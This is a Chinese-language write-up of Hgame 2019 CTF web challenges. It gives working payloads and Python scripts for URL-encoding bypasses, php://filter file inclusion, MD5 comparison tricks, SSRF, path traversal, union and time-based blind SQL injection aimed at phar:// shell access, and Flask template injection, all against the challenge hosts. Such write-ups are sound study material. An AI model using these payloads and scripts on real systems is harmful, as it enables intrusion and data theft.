[TOC]
Hgame 2019 Web wirteup
Week 1
Web
谁吃了我的 flag
呜呜呜,Mki 一起床发现写好的题目变成这样了,是因为昨天没有好好关机吗 T_T
hint: 据当事人回忆,那个夜晚他正在用 vim 编写题目页面,似乎没有保存就关机睡觉去了,现在就是后悔,十分的后悔。
既然提示 vim ,那就直接下载.index.html.swp
,用vim -r .index.html.swp
恢复就好了,得到
<!DOCTYPE HTML>
<html>
<head>
<title>谁吃了我的flag???</title>
</head>
<body>
<p>damn...hgame2019 is coming soon, but the stupid Mki haven't finished his web-challenge...</p>
Press ENTER or t</br>ommand to continue
<p>fine, nothing serious, just give you flag this time...</p>
</br>
<p>the flag is hgame{3eek_diScl0Sure_fRom+wEbsit@}
</body>
</html>
换头大作战
想要 flag 嘛 工具: burpsuite postman hackbar 怎么用去百度,相信你可以的
一步步改包就可以了。完整包如下:
POST /week1/how/index.php HTTP/1.1
Host: 120.78.184.111:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Waterfox/50.0
Referer: www.bilibili.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: 127.0.0.1
Cookie: admin=1
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
want=%E6%83%B3
very easy web
代码审计初 ♂ 体验
<?php
error_reporting(0);
include("flag.php");
if(strpos("vidar",$_GET['id'])!==FALSE)
die("<p>干巴爹</p>");
$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "vidar")
{
echo $flag;
}
highlight_file(__FILE__);
?>
源码如上,比较简单,二次urlencode
即可,payload: id=%2576%2569%2564%2561%2572
can u find me
为什么不问问神奇的十二姑娘和她的小伙伴呢
查看源码得到下一关地址
<!DOCTYPE html>
<html>
<head>
<title>can u find me?</title>
</head>
<body>
<p>the gate has been hidden</p>
<p>can you find it? xixixi</p>
<a href="f12.php"></a>
</body>
</html>
跟进,提示
<p>please post password to me! I will open the gate for you!</p>
查看该包可以发现有响应头
HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Sat, 02 Feb 2019 10:32:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.2.14
password: woyaoflag
Content-Length: 302
<!DOCTYPE html>
<html>
<head>
<title>can u find me?</title>
</head>
<body>
<p>yeah!you find the gate</p>
<p>but can you find the password?</p>
<p>please post password to me! I will open the gate for you!</p>
</html>
传入对应的 password 之后,提示
<p>right!</p><a href='iamflag.php'> click me to get flag</a></body>
抓包访问是个 302 跳转,iamflag.php 就存在 flag
HTTP/1.1 302 Found
Server: nginx/1.15.8
Date: Sat, 02 Feb 2019 10:33:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.2.14
location: toofast.php
Content-Length: 132
<html>
<head>
<title>can you find me?</title>
</head>
<body>
<p>flag:hgame{f12_1s_aMazIng111}</p>
</body>
</html>
Week 2
Web
easy_php
代码审计 ♂ 第二弹
Title 提示 where is my robots ,访问 robots.txt 得到 img/index.php ,访问得到真源码
<?php
error_reporting(0);
$img = $_GET['img'];
if(!isset($img))
$img = '1';
$img = str_replace('../', '', $img);
include_once($img.".php");
highlight_file(__FILE__);
使用....//
绕过../
的过滤,使用php://filter/read=convert.base64-encode/resource=
来读取文件内容
最终 payload:php://filter/read=convert.base64-encode/resource=....//flag
解 base64 得到:
<?php
//$flag = 'hgame{You_4re_So_g0od}';
echo "maybe_you_should_think_think";
php trick
some php tricks
<?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
die('step 2 fail');
}
if( $str3 == $str4 ){
die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
die('step 5 fail');
}
if(is_numeric($str5)){
die('step 6 fail');
}
if ($str5<9999999999){
die('step 7 fail');
}
if ((string)$str5>0){
die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
die('step 11 fail');
}
else{
echo $output;
}
使用str1=QNKCDZO&str2=240610708
绕过step 1
中的md5
弱相等
使用数组绕过step 2
中的md5
相等
使用.
绕过对_
的判断,数组绕过对数字的判断
使用http://localhost@127.0.0.1:80@www.baidu.com/admin.php
绕过step 9 10
的判断,得到admin.php
<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
die('only localhost can see it');
}
$filename = $_GET['filename']??'';
if (file_exists($filename)) {
echo "sorry,you can't see it";
}
else{
echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>
使用filename=xxxxx/../flag.php
绕过file_exists
与file_get_contents
函数
得到flag.php
<?php $flag = hgame{ThEr4_Ar4_s0m4_Php_Tr1cks} ?>
PHP Is The Best Language
var_dump 了解一下
<?php
include 'secret.php';
#echo $flag;
#echo $secret;
if (empty($_POST['gate']) || empty($_POST['key'])) {
highlight_file(__FILE__);
exit;
}
if (isset($_POST['door'])){
$secret = hash_hmac('sha256', $_POST['door'], $secret);
}
$gate = hash_hmac('sha256', $_POST['key'], $secret);
if ($gate !== $_POST['gate']) {
echo "Hacker GetOut!!";
exit;
}
if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) {
echo "Wow!!!";
echo "</br>";
echo $flag;
}
else {
echo "Hacker GetOut!!";
}
?>
一开始我一直在想用数组绕过对key
的md5
判断,可是一旦用了数组,$gate
计算出来的就是NULL
,因为hash_hmac('sha256', $_POST['key'], $secret);
中key[]
为数组,就会出现返回NULL
的情况,但是这样的话,$gate
就因为key[]
的原因等于NULL
了,而需要绕过$gate !== $_POST['gate']
,就需要gate
参数不存在或者为 0,然后这两种情况都绕不过一开始的empty($_POST['gate'])
,因为empty(NULL)
与empty(0)
都是true
…
后来经过一番提醒,$_POST['key']
是可以爆破得到的,例如在 100 内
for($i=1; $i < 99 ;$i++){
if ((md5($i)+1) == (md5(md5($i)))+1) {
echo $i."\n";
}
}
12
14
39
42
49
50
53
65
71
74
79
83
98
得到这么多个数…
所以整个环节就比较清楚了,使用door[]
将$secret
置换为NULL
,这样我们就可以在本地算出$gate
的值了,然后 POST 那个值就行了。
最终用door[]=1&key=98&gate=34047c350a9243401fb31a261407ca367fe058a8f7e00abd10b257e89025ccdd
得到 flag : hgame{Php_MayBe_Not_Safe}
Baby_Spider
Come to death in the ocean of mathematics together with Li4n0! Answer 30 questions correctly in a row during 40 seconds(The calculation result is subject to python3),then you can get the flag. Enjoy it~
**hint1:**The most basic operation of a spider is to disguise itself. **hint2:**Always believe only what you see with your own eyes
这题很坑很坑…做得有点生气
首先 1-10 关需要带一些普通请求头访问,否则第十关会直接返回shutdown
命令,我没有用管理员直接跑,所以没关机,但是我误以为这是要求python
返回值的问题,然后搞了半天发现是需要带一些请求头
然后在 11 关他会修改一个字体的 style ,比如我得到文本为(972279097)/414696815/(472238406)+769794962*(27940524)=?
,但是视觉效果却是
字体 style 为
<style>
@font-face {
font-family: Ariali;
src: url('Ariali.otf');
font-weight: normal;
font-style: normal;
}
.question-container{
font-family: Ariali;
font-weight: bold;
}
对应规则为
0123456789->1026943587
21-30 关又改了 style ,给question-container
增加了after
元素
<style>
.question-container:after{
content:"(616887126)-957226796+956719004+554270862+732380290=?";
}
所以我们就需要去计算这个 content 中的即可。
把脚本中的 token 替换为自己的 token :
import re
import requests
token_url = 'http://111.231.140.29:10000/'
solution_url = 'http://111.231.140.29:10000/solution'
style_url = 'http://111.231.140.29:10000/statics/style.css'
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36',
}
dic = '1026943587'
r = requests.Session()
s = r.post(token_url,data={'token':'BkqnELak3XMzcYsXPZ0DFuXSRf9DLsRW'},allow_redirects=True,headers=headers)
str_text = r"<div class=\"question-container\"><span>.*</span></div>"
for i in range(1,11):
print(str(i))
# if i == 11:
# rep = r.get(style_url)
# print(rep.text)
match = re.search(str_text,s.text)
result = match.group().replace("<div class=\"question-container\"><span>","")
result = result.replace("=?</span></div>","")
print(result + '\n')
result = str(eval(result))
s = r.post(solution_url,data={'answer':result},headers=headers)
print(s.text)
for i in range(11,21):
print(str(i))
# if i == 21:
# rep = r.get(style_url)
# print(rep.text)
match = re.search(str_text,s.text)
result = match.group().replace("<div class=\"question-container\"><span>","")
result = result.replace("=?</span></div>","")
tmp = ''
for j in range(0,len(result)):
if ord(result[j]) > 47:
tmp += dic[int(result[j])]
else:
tmp += result[j]
result = tmp
print(result + '\n')
result = str(eval(result))
s = r.post(solution_url,data={'answer':result},headers=headers)
print(s.text)
for i in range(21,31):
print(str(i))
# if i == 21:
# rep = r.get(style_url)
# print(rep.text)
s = r.get(style_url)
match = re.search("content:\".*=?\"",s.text)
result = match.group().replace("content:\"","")
result = result.replace("=?\"","")
print(result + '\n')
result = str(eval(result))
s = r.post(solution_url,data={'answer':result},headers=headers)
print(s.text)
虽然坑归坑,但是也是能理解作者想表达的反爬虫技术的技巧的想法的
Math 有趣
Math is interesting, isn’t it? update: 题中最后的^是乘方,不是 xor hint: 了解一下 tomcat、spring mvc 的目录结构和配置文件(自己搭一下就明白了 hint2: 图片目录不在 web 目录下
输入答案 2 之后,进入下一题,发现是个计算…
我直接放在一旁跑 1-999,然后继续看题,查看源码我们可以发现
<html>
<head>
<title>Title</title>
</head>
<body>
<p>It seems that you have learned it, let us do a difficult question.<br/><img src=/img/cXVlc3Rpb24ucG5n.php><br/>Show me the smallest integer solutions.</p>
<br/>
<form action="/index.php" method="post">
Your Answer: <input type="text" name="answer" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
图片文件有些怪异,竟然是个.php
后缀,尝试看看文件,发现报错
看来是个base64
加密的图片名字格式,atob("cXVlc3Rpb24ucG5n")
得到question.png
尝试用/img/answer.png.php
访问,换了一种报错
猜测是个可以任意文件读取,然后我们用../../../../../etc/passwd
经过 base64 编码后加上.php
访问,成功得到文件内容,于是猜解目录结构,发现经过../../
之后就是根目录。
题目并没有给特别的信息,猜测是个默认目录之类的,既然放在tomcat
下,而且也不给其他包名,应该就是类似$TOMCAT_HOME/webapps/ROOT
这样的目录,然后加上WEB-INF/web.xml
这个比较常用的默认文件来确定位置,最终在../../usr/local/tomcat
发现tomcat
目录
btoa("../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml")
"Li4vLi4vdXNyL2xvY2FsL3RvbWNhdC93ZWJhcHBzL1JPT1QvV0VCLUlORi93ZWIueG1s"
得到文件内容
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:application-context.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<servlet>
<servlet-name>mathyouqu</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>mathyouqu</servlet-name>
<url-pattern>*.php</url-pattern>
</servlet-mapping>
</web-app>
根据classpath:application-context.xml
,访问WEB-INF/classes/application-context.xml
得到文件内容
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context.xsd">
</beans>
但是文件内容对我们接下来要读取的源码并没什么帮助,于是找了很多其他的配置文件都没有找到,最后想起来报错页面应该会有项目文件的名字,也就是之前的那张图:
我们可以看到包名hgame.controller
,然后MathController
就是控制器,对应的就是.class
文件,image()
对应的就是MathController
这个类中的方法。这样从包名我们就可以找到文件路径了,猜测就是hgame/controller/MathController.class
,因为是编译好的,所以是.class
结尾,而不是.java
用JD-GUI
打开即可看到源码:
package hgame.controller;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.util.Base64;
import java.util.Base64.Decoder;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class MathController
{
@RequestMapping(value={"/index"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String index(ModelMap model, HttpSession session, HttpServletResponse response)
throws IOException
{
Object step = session.getAttribute("step");
if (step == null)
{
session.setAttribute("step", Character.valueOf('1'));
response.sendRedirect("/index.php");
return null;
}
if (step.toString().equals("1")) {
model.addAttribute("message", "Welcome to the world of mathematics.<br/>Let's warm up first.<br/>1+1=?");
} else if (step.toString().equals("2")) {
model.addAttribute("message", "It seems that you have learned it, let us do a difficult question.<br/><img src=/img/cXVlc3Rpb24ucG5n.php><br/>Show me the smallest integer solutions.");
}
return "math";
}
@RequestMapping(value={"/index"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
public void pindex(@RequestParam("answer") String answer, HttpSession session, HttpServletResponse response)
throws IOException
{
Object step = session.getAttribute("step");
if (step == null)
{
session.setAttribute("step", Character.valueOf('1'));
response.sendRedirect("/index.php");
}
else if ((step.toString().equals("1")) &&
(answer.equals("2")))
{
session.setAttribute("step", "2");
response.sendRedirect("/index.php");
}
}
@RequestMapping(value={"/img/{path}"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String image(@PathVariable("path") String path, HttpServletResponse response)
{
path = new String(Base64.getDecoder().decode(path));
InputStream f = null;
OutputStream out = null;
try
{
f = new FileInputStream("/home/static/" + path);
out = response.getOutputStream();
int count = 0;
byte[] buffer = new byte['���'];
while ((count = f.read(buffer)) != -1)
{
out.write(buffer, 0, count);
out.flush();
}
}
catch (Exception e)
{
e.printStackTrace();
}
try
{
f.close();
out.close();
}
catch (Exception e)
{
e.printStackTrace();
}
return "ok";
}
@RequestMapping(value={"/flag"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String Flag(ModelMap model)
{
System.out.println("This is the last question.");
System.out.println("123852^x % 612799081 = 6181254136845 % 612799081");
System.out.println("The flag is hgame{x}.x is a decimal number.");
model.addAttribute("flag", "Flag is not here.");
return "flag";
}
}
可以看到有个/flag
的路由,我们只需要计算123852^x % 612799081 = 6181254136845 % 612799081
这个就可以了,爆破得到15387368
就是答案
Week 3
Web
神奇的 md5
flag 在根目录下(请善待学生机) hint:md5 碰撞 你自己本地去生成 3 个 md5 值一样的 sha 值不一样的 用 curl 上传
http://118.25.89.91:8080/question/login.php
访问不了 2333
看其他师傅的 wp ,首先是个源码审计
<?php
session_start();
error_reporting(0);
if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
{
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$code = (string)$_POST['code'];
if (($username == $password ) or ($username == $code) or ($password == $code)) {
echo "Your input can't be the same";
}
else if ((md5($username) === md5($password)) and (md5($password) === md5($code))){
echo "Good";
header('Location: admin.php');
exit();
} else {
echo "<pre> Invalid password</pre>";
}
}
?>
看来是 md5 强碰撞,这里给三个 md5 一样的图片
$ curl -s http://www.fishtrap.co.uk/black.jpg.coll | md5
b69dd1fd1254868b6e0bb8ed9fe7ecad
$ curl -s http://www.fishtrap.co.uk/brown.jpg.coll | md5
b69dd1fd1254868b6e0bb8ed9fe7ecad
$ curl -s http://www.fishtrap.co.uk/white.jpg.coll | md5
b69dd1fd1254868b6e0bb8ed9fe7ecad
后面就是简单的命令执行了
sqli-1
sql 注入 参数是 id
http://118.89.111.179:3000/
没有任何过滤,就是处理验证码 code 有点麻烦
贴一下自己的脚本
import hashlib
import requests
from urllib import parse
import re
def md5(s):
return hashlib.md5(s).hexdigest()
def cal(code):
for i in range(1, 9999999):
if md5(str(i).encode('utf-8')).startswith(code):
return i
headers = { 'Cookie': 'PHPSESSID=5vsgpoc8m9j8c66d9vfmru0uqd; path=/' }
# req = requests.session()
url = "http://118.89.111.179:3000/"
rep = requests.get(url,headers=headers)
match = re.search(r'=== .*<br>',rep.text)
code = match.group().replace("=== ","")
code = code.replace("<br>","")
payload = '1 union select table_name from information_schema.tables where table_schema=\'hgame\';#'
payload = '1 union Select column_name from information_schema.columns where table_name=\'f1l1l1l1g\';#'
payload = '1 union Select f14444444g from f1l1l1l1g;#'
url = "http://118.89.111.179:3000/?id=%s&code=%s" % (parse.quote(payload),cal(code))
rep = requests.get(url,headers=headers)
print(rep.text)
sqli-2
sql 注入
http://118.89.111.179:3001/?id=1
我做的时候…也是访问不了…
could not connect to the database: Connection refused
I'll tell you if SQL can be executed.
直接显示链接数据库失败,看其他师傅的 wp ,看样子是个盲注的题,然而…
基础渗透
综合利用各种漏洞来 getshell,然后找到被藏起来的 flag。
用http://111.231.140.29:10080/index.php?action=php://filter/read=convert.base64-encode/resource=user
直接读源码
User.php:
<?php
require_once('functions.php');
if (!isset($_SESSION['login'])) {
Header("Location: /login.php");
exit();
} else {
echo "<div id='user-info' class='am-container'>";
echo "<div class='am-form'>";
echo "<div class='am-form-group am-form-file' id='form-file'>";
$image = get_avatar($_SESSION['user_id']);
if ($image != null) {
echo "<img type='button' src=data:image/png;base64," . $image['content'] . " class='am-circle' id='avatar'>";
} else {
echo "<div class='am-circle avatar-tmp' id='avatar'>" . md5($_SESSION['user']) . "</div>";
}
}
?>
<input type="file" id="upfile" onchange="SelectImage()">
</div>
<button id="upload" class="am-btn am-btn-primary am-disabled">保 存 头 像</button>
</div>
<?php
echo "<div class='user'><strong>用户名: </strong> " . $_SESSION['user'] . "</div>";
echo "<hr>";
echo "<div class='am-form am-form-horizontal'>";
echo "<strong>原密码:</strong> <input id='oldpassword' type='password'> ";
echo "<br>";
echo "<strong>新密码:</strong> <input id='newpassword' type='password'>";
echo "<br>";
echo "<strong>新密码确认:</strong> <input id='newpassword_again' type='password'> ";
echo "<br>";
echo "</div>";
echo "<button onclick='NewPassword()' class='am-btn am-btn-danger'>确 认 修 改</button>";
echo "</div>";
echo "</div>";
echo "</div>";
echo "<script src='/js/user.js'></script>";
?>
Functions.php
<?php
//ini_set("display_errors", "on");
require_once('config.php');
session_start();
function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}
function csrf_token()
{
$token = '';
$chars = str_split('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
for ($i = 0; $i < 48; $i++) {
$token = $token . $chars[random_int(0, 61)];
}
$_SESSION['token'] = $token;
echo "<input type='hidden' value='$token' id='token'>";
}
function res_to_json($res, $type)
{
$json['type'] = $type;
$json['status'] = "true";
$json["content"] = array();
foreach ($res as $message) {
$array_tmp['user_id'] = $message['user_id'];
$array_tmp['user'] = $message['user'];
$array_tmp['avatar'] = get_avatar($message['user_id']) != null ? get_avatar($message['user_id'])['content'] : md5($message['user']);
$array_tmp['message'] = $message['content'];
$array_tmp['message_id'] = $message['message_id'];
$array_tmp['time'] = $message['date'];
array_push($json["content"], $array_tmp);
}
$json["content"] = $json["content"];
return json_encode($json);
}
function judge($username, $password)
{
if ($username == null) {
echo "username's length error!";
return false;
} elseif (strlen($password) < 6 or strlen($password) > 16) {
echo "password's length error!";
return false;
} else {
return true;
}
}
function register($username, $password, $token)
{
if (judge($username, $password) == 1 and $token === $_SESSION['token']) {
$password = md5($password);
$sql_query = "insert into `users`(`username`,`password`) VALUES ('$username','$password')";
$res = sql_query($sql_query);
if ($res) {
echo 'register success!';
} else {
echo 'error!';
}
} else {
echo "error!";
return false;
}
}
function login($username, $password, $token)
{
if (!isset($_SESSION['login']) and $token === $_SESSION['token']) {
$password = md5($password);
$sql_query = "select * from `users` where `username`='$username' and `password`='$password'";
$res = sql_query($sql_query);
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user_id'] = $data['user_id'];
$_SESSION['user'] = $data['username'];
$_SESSION['groups'] = $data['groups'];
$_SESSION['login'] = 1;
setcookie('user', $_SESSION['user']);
setcookie('groups', $_SESSION['groups']);
} else {
echo "error!";
return false;
}
} else {
echo "error!";
return false;
}
}
function loginout()
{
if ($_GET['loginout'] === $_SESSION['token']) {
session_destroy();
setcookie('groups', null);
setcookie('user', null);
Header("Location: index.php");
}
}
function get_avatar($user_id)
{
$sql_query = "select `avatar` from `users` where `user_id`=$user_id";
$res = sql_query($sql_query)->fetch_row()[0];
if ($res) {
return array('name' => $res, 'content' => base64_encode(file_get_contents('./img/avatar/' . $res . '.png')));
} else {
return null;
}
}
function get_new_messages()
{
$start = $_GET['start'] ?? 0;
$start = addslashes($start);
$user_id = $_SESSION['user_id'];
$sql_query = "select * from `messages` where `user_id`=$user_id LIMIT $start,999999999999";
$res = sql_query($sql_query);
if ($res->num_rows) {
return res_to_json($res, "messages");
}
}
function get_messages()
{
$start = $_GET['start'] ?? 0;
$start = addslashes($start);
$user_id = $_SESSION['user_id'];
$sql_query = "select * from `messages` where `user_id`=$user_id ORDER BY `message_id` DESC LIMIT $start,12";
$res = sql_query($sql_query);
if ($res->num_rows) {
return res_to_json($res, "messages");
}
}
function add_message($message)
{
if ($_POST['token'] === $_SESSION['token']) {
if (isset($_SESSION['login']) and mb_strlen($message) > 6) {
$user_id = $_SESSION['user_id'];
$user = $_SESSION['user'];
$sql_query = "insert into `messages`(`user_id`,`user`,`content`) VALUES($user_id,'$user','$message')";
sql_query($sql_query);
} elseif (!isset($_SESSION['login'])) {
echo "login error";
} else {
echo "length error";
}
}
}
function delete_message($message_id)
{
$user_id = $_SESSION['user_id'];
if ($_POST['token'] === $_SESSION['token']) {
if ($_SESSION['groups'] == 0) {
$sql_query = "delete from `messages` where `message_id`=$message_id and `user_id`=$user_id";
} elseif ($_SESSION['groups'] == 1) {
$sql_query = "delete from `messages` where `message_id`=$message_id";
}
sql_query($sql_query);
}
}
function rand_filename()
{
$tmp = `cat /dev/urandom | head -n 10 | md5sum | head -c 15`;
$sql_query = "select `avatar` from `users` where `avatar`=$tmp";
$res = sql_query($sql_query);
if ($res->num_rows) {
return rand_filename();
} else {
return $tmp;
}
}
function upload_avatar()
{
$type = $_FILES['file']['type'];
$user_id = $_SESSION['user_id'];
if ($type == 'image/gif' || $type == 'image/jpeg' || $type == 'image/png') {
$avatar = get_avatar($user_id);
if ($avatar == null) {
$name = rand_filename();
move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $name . ".png");
$sql_query = "update `users` set `avatar`='$name' WHERE `user_id`=$user_id";
sql_query($sql_query);
} else {
move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $avatar['name'] . ".png");
}
}
}
function change_password($opassword, $npassword, $npasswod_again)
{
if (judge($_SESSION['user'], $npassword)) {
if ($npasswod_again !== $npassword) {
echo "difference error";
} else {
$user_id = $_SESSION['user_id'];
$sql_query = "select `password` from `users` where `user_id`=$user_id";
$res = sql_query($sql_query);
if ($res->num_rows) {
if ($res->fetch_row()[0] === md5($opassword)) {
$sql_query = "update `users` set `password`=md5($npassword) WHERE `user_id`=$user_id";
$res = sql_query($sql_query);
echo $res;
echo "successful";
} else {
echo "oldpassword error";
}
}
}
}
}
Message.php
<h1 class="title" id="title">Message Board</h1>
<div id="container" class="am-container"></div>
<div id="rocket" class="am-icon-btn" onclick="ReturnTop()"></div>
<div id="write_message" class="am-icon-btn"></div>
<div class="am-modal am-modal-prompt" tabindex="-1" id="my-prompt">
<div class="am-modal-dialog am-form" id="message_area">
<div class="am-modal-hd">写留言</div>
<div class="am-modal-bd">
<textarea class='textarea' name="new_message" id="new_message" cols="30" rows="10"></textarea><br>
</div>
<div class="am-modal-footer">
<button class="am-btn am-btn-danger button " id="button_cancel" data-am-modal-cancel>取 消
</button>
<button class="am-btn am-btn-primary button " id="button_sumbit"
data-am-modal-confirm>
提 交
留 言
</button>
</div>
</div>
</div>
<script src='/js/index.js'></script>
Config.php
<?php
$DBHOST = "127.0.0.1";
$DBUSER = getenv('DATABASE_USER');
$DBPASS = getenv('DATABASE_PASS');
$DBNAME = "lyb";
$mysqli = new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
?>
Login.php
<?php
require_once('functions.php');
if (!isset($_POST['username']) or !isset($_POST['password'])) {
if (isset($_GET['loginout'])) {
loginout();
}
if (!isset($_SESSION['login'])) {
include('template/login.html');
csrf_token();
} else {
Header('Location: /index.php');
}
} else {
login(addslashes($_POST['username']), addslashes($_POST['password']), $_POST['token']);
}
index.php
<?php
include_once("template/header.php");
if (is_null($_SESSION['user_id'])) {
header('Location:/login.php');
exit();
}
$page = array_key_exists('action', $_GET) ? $_GET['action'] : 'message';
require $page .'.php';
include_once("template/footer.php");
?>
Message_api.php
<?php
require_once('functions.php');
if ($_GET['action'] === 'add') {
if (!isset($_POST['new_message']) or !isset($_POST['token'])) {
header("Location: /index.php");
} else {
add_message(htmlspecialchars(addslashes($_POST['new_message'])));
}
} elseif ($_GET['action'] === 'delete') {
if (!isset($_POST['message_id']) or !isset($_POST['token'])) {
header("Location: /index.php");
} else {
delete_message(addslashes($_POST['message_id']));
}
} elseif ($_GET['action'] === 'get_new') {
if (is_null($_SESSION['user_id'])) {
http_response_code(403);
} else {
echo get_new_messages();
}
} elseif
($_GET['action'] === 'get') {
if (is_null($_SESSION['user_id'])) {
http_response_code(403);
} else {
echo get_messages();
}
}
在functions.php
中我们可以看到一个明显的注入
function delete_message($message_id)
{
$user_id = $_SESSION['user_id'];
if ($_POST['token'] === $_SESSION['token']) {
if ($_SESSION['groups'] == 0) {
$sql_query = "delete from `messages` where `message_id`=$message_id and `user_id`=$user_id";
} elseif ($_SESSION['groups'] == 1) {
$sql_query = "delete from `messages` where `message_id`=$message_id";
}
sql_query($sql_query);
}
}
我们就可以从$message_id
进行注入。然而这个注入可以搭配什么进行攻击呢,既然首页有文件包含,我们是不是可以利用上传头像来进行包含利用,这个sql
注入就可以帮助我们获得头像文件名了。
大致思路就出来了,通过头像上传,然后使用注入获得路径,在用phar://xxxx/xxxx
来访问拿到shell
这里不知道为什么访问有点问题,贴一下一叶飘零师傅的 jio 本好了:
import requests
import re
flag=''
res = "<input type='hidden' value='(.*?)' id='token'"
url = 'http://111.231.140.29:10080/index.php'
header={
'User-Agent':'curl/7.54.0',
'Accept':'*/*'
}
cookie = {
'PHPSESSID':'mobe47sd6q6ocl6g9upcok0ad8',
'user':'zeddy',
'groups':'0'
}
url2 = 'http://111.231.140.29:10080/messages_api.php?action=delete'
url4 = 'http://111.231.140.29:10080/messages_api.php?action=add'
for i in range(1,1000):
print(i)
# for j in range(33,127):
for j in '0123456789abcdef':
j = ord(j)
r = requests.get(url=url, cookies=cookie,headers=header)
token = re.findall(res, r.content.decode('utf-8'))[0]
#payload = "-1 or if((ascii(substr((database()),%d,1))=%d),sleep(5),0)#"%(i,j)
payload = "-1 or if((ascii(substr((select avatar from users where username like 0x7a65646479),%d,1))=%d),sleep(3),0)#"%(i,j)
data = {
'message_id':payload,
'token':token
}
try:
r = requests.post(data=data,cookies=cookie,url=url2,timeout=2.5,headers=header)
except:
flag += chr(j)
print(flag)
r = requests.get(url=url, cookies=cookie,headers=header)
token = re.findall(res, r.content.decode('utf-8'))[0]
data = {
'new_message': '123456',
'token': token
}
r = requests.post(data=data,cookies=cookie,url=url4,headers=header)
break
BabyXSS
save 按钮尝试 xss(尝试过程不需要输验证码),成功后带上验证码 code,submit 按钮提交 xss 语句;flag 在 admin 的 cookie 里面,格式 hgame{xxxxx}。
http://118.25.18.223:9000/index.php
一直访问不了 233
参考其他师傅的 wp ,只是一个简单的双写关键字绕过
Week 4
Web
happyPython
flag 在管理员账号下
http://118.25.18.223:3001
思路主要是伪造 admin cookiel 了,所以我们需要读secret_key
使用 {% raw %} /{{[].class.base.subclasses()}} 与 /{{[].class.base.subclasses}} {% endraw %} 两个返回均相同
发现是()
被过滤了
一直想着去用文件读取secret_key
,但是又因为()
被过滤,怎么也做不出来
后来发现用/{{config}}
可以得到…….orz,也可以用url_for.__globals__['current_app'].config
读取
